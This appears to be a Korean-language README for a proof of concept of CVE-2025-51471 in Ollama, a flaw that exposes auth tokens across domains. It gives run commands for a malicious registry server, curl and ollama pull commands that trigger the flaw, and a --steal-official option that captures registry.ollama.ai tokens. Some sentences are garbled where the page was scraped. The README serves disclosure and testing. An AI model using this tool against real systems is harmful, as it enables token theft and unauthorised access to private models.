
이 PoC는 교육 목적 및 승인된 보안 테스트 목적으로만 사용됩니다. 소유하지 않은 시스템에 사용하지 마십시오.
작성자: ajtazer
이 저장소는 Ollama의 모든 버전(최신 버전 포함)에 영향을 미치는 교차 도메인 인증 토큰 노출 취약점인 CVE-2025-51471에 대한 개념 증명(PoC)을 포함합니다.
Ollama가 401 Unauthorized로 응답하는 HTTPS 서버에서 모델을 가져올 때, WWW-Authenticate 헤더의 realm URL을 동일한 도메인에 속하는지 검증하지 않고 따릅니다[...]
이를 통해 공격자는 다음을 수행할 수 있습니다:
WWW-Authenticate 헤더와 함께 401 응답을 반환합니다registry.ollama.ai의 비공개 모델에 접근pip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# curl API 사용
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# 또는 ollama CLI 사용
ollama pull --insecure localhost:8080/malicious/model
이 PoC를 짧은 영상으로 시연했습니다 — 여기서 시청하세요:
참고 (macOS HTTPS 모드): HTTPS 모드를 사용하는 경우 생성된 인증서를 키체인에 추가하거나
--no-ssl을 사용하여 HTTP 모드를 사용하세요.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| 엔드포인트 | 설명 |
|---|---|
/v2/* | 가짜 레지스트리 엔드포인트 (익스플로잇 트리거) |
/v2/token | 토큰 캡처 엔드포인트 |
/tokens | 캡처된 모든 토큰 보기 (JSON) |
이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않은 시스템에 대해 사용하지 마십시오.
Made with ❤️ using Antigravity
/health | 서버 상태 확인 |